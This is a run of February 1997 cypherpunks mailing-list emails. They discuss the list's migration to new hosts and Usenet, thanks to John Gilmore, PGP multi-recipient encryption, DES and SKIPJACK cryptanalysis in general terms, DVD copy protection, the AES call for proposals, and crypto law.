From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:26:20 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Raph
Message-ID: <199702191426.GAA24931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 AM 2/18/97 -0500, Alec wrote:
>I have found it convenient to retrieve Raph's list off c'punks, as opposed to
>fingering. I do hope this service to the community will continue on one forum
>or another.

You can of course also get it from the web page listed in the listing...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:28:09 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Cypherpunks Mailing List (Was: Re: When and where?)
Message-ID: <199702191428.GAA24979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Please post the date when this list will shift to Usenet if that is indeed to
>happen. I have not been able to sort out the facts (?) from the speculation,
>argument, and gas.

There are a variety of approaches being pursued in parallel.
You can subscribe to cypherpunks@Cyberpass.net by sending
mail to majordomo@Cyberpass.net with the usual syntax (send it a 
message body of "help" if you want details.)  It should gateway to
the other mail servers as they develop.  It's currently getting 
everything from cypherpunks@toad.com, which I've no unsubscribed to
to avoid getting duplicate copies of everything.

If you're one of those people getting one or more copies of the
cypherpunks mailing list and you don't want to, find out where your
mail is coming from and send mail to majordomo there....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 06:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP key compromise with multiple independent encryptions of same message?
Message-ID: <199702191426.GAA24957@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:27 AM 2/17/97 -0500, David Coe wrote:
>If I were to PGP-encrypt the same exact message to a number of
>different people, each copy with that person's public key, would
>I be making it easy (or easier) for one (or a group) of those
>recipients to compromise another recipient's private key?

If you're doing it as N separate messages, you're using 
N separate IDEA session keys; IDEA's strong enough that's no risk,
especially since they'll be using separate Initialization Vectors.
If you use the multiple-recipient capability, which uses one copy
of the message encrypted with one session key, and separate headers with
the session key encrypted with each public key.  If PGP didn't take 
precautions to prevent it, there are attacks on RSA which can be used
when you encrypt the same message with different RSA keys.  However,
PGP pads the session key with different random padding for each
session-key-encrypted-with-public-key header, so they're different messages,
so there's no risk there either.

So don't keep worrying about it; use whichever is more convenient.
(But it was worth worrying about once. :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 22:41:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from
Message-ID: <199702190641.WAA19338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Again, thanks to John Gilmore for running this list for years. His
> job required a lot of dedication and effort and I am thankful to him
> for what he did for it. cypherpunks@toad.com enhanced my understanding
> of reality immensely.

  I certainly hope that the lack of posts expressing gratitude to John
Gilmore for his maintenance of the CypherPunks list on toad.com for all
these years is merely because those who have benefitted from his efforts
are expressing their thanks via private email to him.
  Certainly, as Igor has indicated, he did not just sit on his butt
playing with Little Peter while 'the machine' ran itself and provided
the CypherPunks with a home for both rational discourse and mad
ramblings.
  There are quite a few people, ranging from long-term members to
passers-by who have had their horizons broadened by the list, and I
would hope that they are appreciative of the fact that the mechanics
of bits and bytes underlying the distribution of our grand soliloquys
came at the expense of a considerable portion of his own time and
energy.
  I know that I am.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 19 Feb 1997 06:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Still no sign of alt.cypherpunks heirarchy at Netcom
Message-ID: <199702191426.GAA24908@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm tapping my toes, druming my fingers and waiting...

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 19 Feb 1997 06:28:24 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702191428.GAA24982@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone seen discussions on how these protection mechanisms can be
circumvented?

>http://techweb.cmp.com/eet/news/97/942news/encryp.html
>
>To summarize, the Digital Video Disk standard contains an encryption
>standard for copyright and anti-piracy protection. however, "some U.S.
>PC and silicon vendors have just about abandoned hope of keeping to
>their revised launch schedules for DVD-enabled systems."
[snip]
>A solution may be in the offing within days. Some sources said late last
>week that Matsushita [who owns license rights] and key U.S. computer
>companies may resolve the software-licensing issues by the end of this
>week. The PC industry seeks amendments to the licensing-agreement language
>that would result in equivalent treatment of software- and hardware-based
>CSS decryption.
>
>... there apparently has been some speculation among the U.S. PC community
>that Matsushita may be stonewalling on the software-licensing issue so that
>it can establish its hardware-based decryption solution in the marketplace.
>

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 19 Feb 1997 06:28:15 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702191428.GAA24981@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. may wrote:
> At 1:22 PM -0600 2/17/97, snow wrote:
> >	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> >can only, ONLY do what the constitution says it can.
> But why do you not object that the "right to free speech," "the right to
> keep and bear arms," and so on, are specifically enumeratedin the Bill of
> Rights? The privacy issue is that there is no such enumeration of a right
> to privacy in the Bill of Rights, though many think it to be implicit in
> some of the other enumerated rights, e.g,, the Fourth, and even in the
> First.

Amendment X-

(1791) The powers not delegated to the United States by the Constitution, nor 
prohibited by it to the states, are reserved to the states respectively, or to 
the people.

	As far as my reading goes, the Constitution (of which the BoR is a 
portion, IIR my "civics" (more like uncivics) classes properly) doesn't give 
the Feds the right to invade my privacy, and although not _explicit_, 

	Also:

Amendment IX

-(1791) The enumeration in the Constitution, of certain rights, shall not be 
construed to deny or disparage others retained by the people.
	
	Seems to indicate that even if it isn't listed, we should still 
have it. 

	Then:
Amendment IV-

(1791) The right of the people to be secure in their persons, houses, papers, 
and effects, against unreasonable searches and seizures, shall not be violated,
and no warrants shall issue, but upon probable cause, supported by oath or 
affirmation, and particularly describing the place to be searched, and the 
persons or things to be seized.

	Seems (to me, and IANAL) indicate that there is (at least in the minds
of the writers) a distinction between _public_ information which is fair game,
and public information, which is only fair game if there is enough public
information to justify crossing that line. 

> Constitutional issues are not easily discussed in short messages like this.
> Suffice it to say the issue of whether a "right to privacy" exists has been
> long discussed, most recently by Bork, Posner, and others (I skimmed the
> latest Posner book a while back, and liked his style).

	There is a big question in my mind whether things are so complicated 
that we need lawyers, or they are so complicated because we have lawyers. 

	It seems to me that the constitution is written rather simply, at least
prior to the 14th amendment. Congress Shall Make No Law... where is the 
confusion? 

	It is the fact that some people "know best" what is good for others,
and wish to enforce this "knowlege" upon the rest of us. 

	God save me from your over zelous followers.
> 
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution.
> 
> (And I always thought the "woman's right to privacy" argument for abortion
> was flaky. Accepting such an argument, wouldn't infanticide be equally
> protected by a woman's right to privacy?)

	Or a man's. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 19 Feb 1997 06:27:59 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702191427.GAA24974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 11:16 AM 2/18/97 -0500, Alec wrote:
> >With the exceptions of AP (oh so clearly way off-topic),
> Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
> as I've sketched it uses many of the 
> encryption/digital-signature/verification techniques which are often 
> discussed here and are essentially universally agreed as being on-topic.  

	Uhhh.... Jim?

	I think that Alec and friend were tweaking Igor. Think Sarcasm.

	Then again I could be wrong. I was once. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 06:26:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702191426.GAA24944@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:29 pm -0500 on 2/18/97, ! Drive wrote:


> A proposal and prototype of a different anonymity mechanism can be found at:
>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

And, of course, you can hear about the next generation from the same bunch,
on Monday morning at FC97:

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

:-).

<http://www.offshore.com.ai/fc97/>


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 06:56:24 -0800 (PST)
To: Scott Auge <scotta@sauge.com>
Subject: Re: Cryptanalysis
Message-ID: <199702201456.GAA14484@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:21 AM 2/15/97 -0500, you wrote:
>Was wondering if anyone could help me with short explainations on the
>cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
>might get a better idea of what i'm trying to accomplish.
>
>Vague explanations are OK.  Dont want long drawn out explainations on
>the implementation of an attack (source code, proofs, statistical
>analysis and the like), just a short explaination of the attack.

Cryptanalysis of DES is a 25-year ongoing academic exercise, with
lots and lots of results.  It's easy to attack it in 2**55 tries,
because of symmetry, but that's a very large number :-)
Differential cryptanalysis, discovered by Biham and Shamir, 
shows that the NSA probably did help the design process when
working with IBM to turn IBM's 128-bit-key Lucifer system into DES,
and certainly didn't weaken it.  Linear cryptanalysis, discovered
more recently, shaves some more bits off the strength if you have
an extremely large amount of known plaintext.  

Brute-force attacks on DES (just try lots of keys until you win) 
used to be viewed as almost infeasible, but about 5-6 years ago there 
were a couple of designs for cracking machines that could do a 1-day crack
for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine
about 5 years ago.  Gate arrays have gotten denser, faster, and cheaper 
since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA)
you can probably afford to burn ASICs to get even denser and faster.
The slow part of the attack _had_ been key scheduling, but recent work
by Peter Trei and others shows that you can do key scheduling very
efficiently for the brute-force keysearch problem by picking keys
in Gray Code order (since a one-bit change in key causes a simple
change in key-schedule - it's totally useless for normal encryption/
decryption, but it's a big win for brute-force cracks.)  
There may be a distributed Internet crack using that approach, 
though DES is still very inefficient on general-purpose computers and 
works better on bit-twiddliing chips.

SKIPJACK is a totally different game - the NSA keeps the algorithm secret,
and the only semi-outsiders who've seen it were a group of 5 people
including Dorothy Denning and Dave Maher who were allowed to do a study
when the NSA were trying to foist Clipper onto us.  They concluded that
SKIPJACK was reasonably strong (in their interim report), which gave
them good propaganda points, and never did the "final report" that
was supposed to address the entire Clipper chip (where most of the
technical weaknesses were) and the key-handling charade around it.
I don't remember if Matt Blaze's spoofing attack on the Clipper chip
came before or after their interim report - the checksums were too short
so you could impersonate another chip under reasonably wide conditions.
According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK
is a Feistel-structured cypher with N rounds (I think it was 16 or 32.)
80 bits is enough that if anybody can discover the algorithm, 
it's too long to brute force today but starts looking pretty vulnerable
in 10-20 years, and of course the Feds would have your keys today,
so they can wiretap you, without needing legal authorization,
and you can probably bribe a Fed faster than you can brute-force the chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 19 Feb 1997 08:57:51 -0800 (PST)
To: Mullen Patrick <Patrick.Mullen@GSC.GTE.Com>
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191657.IAA26706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mullen, Patrick wrote:
> alt.cypherpunks.ebonics :-) Sorry, couldn't resist!
> 
> Did I miss any?  Name-mangle?

alt.cypherpunks.purebred-sovoks

> I also have listed the following alternate list hosts
> 
> cypherpunks@algebra.com
> cypherpunks@cyberpass.net
> cypherpunks@ssz.com
> 
> If anyone has a more complete list of hosts, I'd be happy
> for additions to the list.

Dave Hayes was going to create one:

Dave Hayes wrote:
Dave> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800
Dave> Sender: owner-cypherpunks@toad.com
Dave> Precedence: bulk
Dave> 
Dave> Ok. I'll "put up". 
Dave> 
Dave> If the cypherpunks will have me, -I'll- run the cypherpunks
Dave> list. Those that know me know that I will *not* censor, moderate, or
Dave> otherwise alter the content (other than the stuff majordomo does with
Dave> "resend") of any messages to the list.

and then wrote:

Dave> To: freedom-knights@jetcafe.org
Dave> Cc: dthorn@gte.net (Dale Thorn), ichudov@algebra.com, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800
Dave> 
Dave> Kent Crispin writes:
Dave> > Dave is offering a single mailing list, which, while I am sure Dave is
Dave> > a great person, still represents a single point of control and a
Dave> > single point of failure.  A distributed mailing list has a potential
Dave> > for being much more robust, and for supporting a wide range of
Dave> > viewpoints.  
Dave> 
Dave> I can also offer my participation in the distributed mailing list, if
Dave> that is what it takes to get cypherpunks free of control interests again.

I am not sure if it already exists...

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Feb 1997 09:26:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191726.JAA27116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote:
>I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
>remember the names of the subgroups (which weren't added), and I
>deleted the mailings which listed them.  
>
>If I remember correctly, they were along the lines of
>
>alt.cypherpunks.technical
>alt.cypherpunks.social
>alt.cypherpunks.announce
>alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Patrick reminds us of why a simple name like "alt.cypherpunks" is
preferable to an extensive hierarchy: "I can't remember the names of the
subgroups."

It was a mistake, I believe, to create the various subgroups, and I hope
they fail to propagate.

I'd rather use more capable newsreading tools to scan _one_ group and
follow interesting threads in it than try to remember what got posted
where. And I especially don't want to see the predictable carping about how
some topic "belongs" in one of the other groups!

And many will simply cross-post their stuff to more than one of the groups,
trying to guess which are most relevant, which are being read by enough
people, etc.

Even at a hundred messages a day, a single group is easily managed. And
having four of them will not cut the traffic in the main group
significantly.

--Tim May, who plans to only post to the main group.

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 06:26:24 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191426.GAA24938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
remember the names of the subgroups (which weren't added), and I
deleted the mailings which listed them.  

If I remember correctly, they were along the lines of

alt.cypherpunks.technical
alt.cypherpunks.social
alt.cypherpunks.announce
alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Did I miss any?  Name-mangle?

I also have listed the following alternate list hosts

cypherpunks@algebra.com
cypherpunks@cyberpass.net
cypherpunks@ssz.com

If anyone has a more complete list of hosts, I'd be happy
for additions to the list.

Thanks!



~ Patrick






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 19 Feb 1997 08:57:38 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702191657.IAA26698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

azur@netcom.com (Steve Schear) writes:
> Has anyone seen discussions on how these protection mechanisms can be
> circumvented?

Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
cripple any copies it makes. Of course, it's all software, so if some
EVIL person were to write a driver that did not honor the "don't copy
me" header, society would just come crashing down around us.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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JTyspKmgBVJ+/RnIro+QeRHqFH8atowh
=7SI9
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 19 Feb 1997 09:26:51 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Belated thank you's
Message-ID: <199702191726.JAA27104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems somewhat trite to say thank you for the service John provided now that
it is going away, when while it was here it was taken for granted. Still, I will
say thank you. Perhaps in this respect it is like good health, which while it is
ours is not given much though, but once lost, becomes the whole of our thoughts.


The loss of John's involvement is a real loss. At the same time, I would like to
think that virtual communities such as this one are robust enough to survive the
type of strife that we have undergone. People being what they are, the list
would have had a hard time staying static without some strong guiding focus.
Given the anarchic leanings of many people on this list, John's actions have
done much to test the practicality of the principles that have been spoken about
here. They may also show how much work it is to follow these same principles.

Still, I wonder how John will feel about the cypherpunks list as it moves beyond
him. Will it grow and become widespread? Or, will it slowly die from lack of
interest or time? I think he might not like either answer.

A la prochain fois,
James

The advancement and perfection of mathematics are intimately connected with the
prosperity of the State. - Napoleon I






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 09:27:14 -0800 (PST)
To: "'Cypherpunks'" <cryptography@c2.net>
Subject: FW: Rules for The Great DES Replacement Contest
Message-ID: <199702191727.JAA27124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>---------- Forwarded message ----------
>Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST)
>From: Christof Paar <christof@ece.WPI.EDU>
>To: christof@ece.WPI.EDU
>Subject: (fwd) Rules for The Great DES Replacement Contest
>Newsgroups: sci.crypt
>
>
>Rules for The Great DES Replacement Contest
>
>On 1997 Jan 02, the National Institute of Standards and Technology
>of The Department of Commerce announced the start of a process to
>approve an "Advanced Encryption Standard."  (See the Federal
>Register Vol. 62, No. 1, pp. 93-94; for example, by going to
>
>    http://www.lib.auburn.edu/gpo/index.html
>
>and searching the Federal Register for "Advanced Encryption
>Standard.")
>
>
>The first part of the process seems to be requesting comments
>on the cipher requirements and submission guidelines as follows:
>
>"Proposed Draft Minimum Acceptability Requirements and Evaluation
>Criteria
>
>    "The draft minimum acceptability requirements and evaluation
>criteria are:
>    A.1  AES shall be publicly defined.
>    A.2  AES shall be a symmetric block cipher.
>    A.3  AES shall be designed so that the key length may be increased
>as needed.
>    A.4  AES shall be implementable in both hardware and software.
>    A.5  AES shall either be (a) freely available or (b) available
>under terms consistent with the American National Standards Institute
>(ANSI) patent policy.
>    A.6  Algorithms which meet the above requirements will be judged
>based on the following factors:
>    (a) Security (i.e., the effort required to cryptanalyze),
>    (b) Computational efficiency,
>    (c) Memory requirements,
>    (d) Hardware and software suitability,
>    (e) Simplicity,
>    (f) Flexibility, and
>    (g) Licensing requirements."
>
>
>"Proposed Draft Submission Requirements"
>
>    "In order to provide for an orderly, fair, and timely evaluation of
>candidate algorithm proposals, submission requirements will specify the
>procedures and supporting documentation necessary to submit a candidate
>algorithm.
>
>    B.1  A complete written specification of the algorithm including
>all necessary mathematical equations, tables, and parameters needed to
>implement the algorithm.
>    B.2  Software implementation and source code, in ANSI C code, which
>will compile on a personal computer. This code will be used to compare
>software performance and memory requirements with respect to other
>algorithms.
>    B.3  Statement of estimated computational efficiency in hardware
>and software.
>    B.4  Encryption example mapping a specified plaintext value into
>ciphertext.
>    B.5  Statement of licensing requirements and patents which may be
>infringed by implementations of this algorithm.
>    B.6  An analysis of the algorithm with respect to known attacks.
>    B.7  Statement of advantages and limitations of the submitted
>algorithm."
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 19 Feb 1997 06:28:02 -0800 (PST)
To: "'Bill Clinton'" <president@whitehouse.gov>
Subject: RE: We're in Anguilla! Comon down!!!
Message-ID: <199702191428.GAA24975@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ROFL. Rock on Bill! ;-)

>-----Original Message-----
>From:	Bill Clinton [SMTP:president@whitehouse.gov]
>Sent:	Sunday, February 16, 1997 4:57 PM
>To:	Those cypher-rebels
>Subject:	We're in Anguilla! Comon down!!!
>
>My fellow cypherpunks,
>
>	I wanted to let you all know, we are having a great time, building
>a router to the 21st Century, down here in sunny Anguilla.   Al and I will
>be wiring Anguilla's great high school for the internet.  Afterwards, we'll
>meet with some longtime supporters of the democratic party for a beer.
>
>	Spaces at the conference are still available, I didn't let those
>folks at American strike, so you have no excuses to be anywhere else next
>week.  
>
>Willy
>Citizen Unit 429-92-9947
> 
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bert-Jaap Koops <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 06:26:45 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <199702191426.GAA24958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
- New lay-out. Digital signatures replaced to a separate overview.
- New entries on Finland (export), Hong Kong (import, export), New
Zealand (export), Poland (import) 
-Update on Australia (government encryption of classified data), Finland 
(no key-escrow), France (TTP law published), Japan (general position, 
wiretap law), Netherlands (extend decryption command), OECD (Group 
of Expert okays guidelines), Scandinavia (secure email system), 
Switzerland (telecom encryption, export), US (Karn appeal, 
annual figures report)
-Corrections or clarifications on Australia (export, public domain software), 
Belgium (export), Germany (export), US (Bernstein, NRC report)
-URLs changed in France (TTP law), US (Bernstein)

Bert-Jaap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 15:11:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD on Dirty Money
Message-ID: <199702192311.PAA01538@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Last week's FT-reported OECD money laundering paper,
"FATF-VIII Money Laundering Typologies Exercise
Public Report," 5 February 1997 is at:

   http://jya.com/fatf8.htm  (Text 94K; 4 images 78K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Landon Dyer <landon_dyer@wayfarer.com>
Date: Wed, 19 Feb 1997 15:29:15 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <199702192329.PAA01842@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:53 AM 2/19/97 -0500, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>azur@netcom.com (Steve Schear) writes:
>> Has anyone seen discussions on how these protection mechanisms can be
>> circumvented?
>
>Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
>cripple any copies it makes. Of course, it's all software, so if some
>EVIL person were to write a driver that did not honor the "don't copy
>me" header ...

  i can confirm this.  i recently talked to an employee of a firm [who
i won't name] that was looking for some kind of shrouding scheme to protect
their copy-protection enforcement code, under W95.  [he knows the effort
is ultimately doomed.  he *is* a user of SoftICE, after all... :-) ]

  quotable quotes:

  "we know someone's going to have their scheme cracked.  all we care
   about is that ours isn't the first."

  "i can't tell you the [encryption] algorithm, because that would let
   you break it.  yes, the security is in the algorithm."


  where does hollywood get its crypto?  mattel?


-landon [back to lurk mode...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 18:14:15 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702200214.SAA04018@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:

>We also have to thank Tim May for his um, ideological, presence on this
>list from since before it existed, :-), and, or course, for his current
>"leadership", both moral and political. (Of course, I can say all the next
>few wierd and gushy things about him without fear of refutation on his
>part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who

No, Bob, I actually took you out of my filter file (Eudora's killfile) a
while back.

It is true that I don't like your style, your writing style, that is. Some
say I am overly sensitive to style issues...probably so. I find most modern
cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo
and the obfuscatory purple prose.

I find reading the straight-shooting words of even my ideological opponents
(or opponents in some areas) far easier than reading the neo-journalistic
hype some of my ideological fellow-travellers use.

Nothing personal.

>was our compass. It was Tim who came down from the mountain and stopped us
>from worshiping the fatted calf of censorship, and who is now leading us
>into the promised land of unfettered discourse, both on usenet and on the
>new cypherpunk server network. Since Tim paper-trained most of us here
>(myself included, though some may debate how well he succeeded :-)), that
>is, how to behave on this list, and, most important, how to imagine what a
>world of strong crytography on ubiquitous networks would look like, I now
>find his "leading" us out onto the net, and away from Sinai, most
>symmetrical indeed. :-).

Well, I guess I have to say "Indeed." (Though I don't claim to be leading
anyone, especially not off the list. After several weeks of saying nothing,
I outlined my reasons for disliking the censorship move...reasons that had
also been made by many other folks. Anyway, Adam Back's summary of events
is pretty close to the mark.)

The vision of where the world is headed, noted by Bob, has been clear to
many of us for many years. When I first read about public key systems,
circa 1977, I got an inkling. When I read Chaum's paper on untraceable
digital cash, circa 1986, things got clearer. And when I evaluated the
business plan of Phil Salin for his company, American Information Exchange,
in 1987, everything fell into place. My role with him was to suggest how
cryptographic protocols, including digital cash, would open up information
markets. His company eventually got some funding, but failed. This company
was several years too early, as it presaged many aspects of the Web (and,
not coincidentally, its "sister company" was Xanadu, which even more
clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web.

Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist
Manifesto," which, to my surprise and satisfaction, basically anticipated
all of the things now being done on Cypherpunks and elsewhere (anonymous
remailers, message pools, steganography, BlackNet types of markets,
ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to
crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to
get robust versions deployed and used. (Getting PGP integrated into mailers
is stil bogged down, for reasons I have to believe have to do with
pressures from somewhere, else why would e-mail packages not make PGP
support painless?)

I agree with Bob and others that the Cypherpunks are in no danger of dying
out. Things are just about to get a lot more interesting.

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 15:43:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: "cypherpunks is dead..."
Message-ID: <199702192343.PAA02063@toad.com>
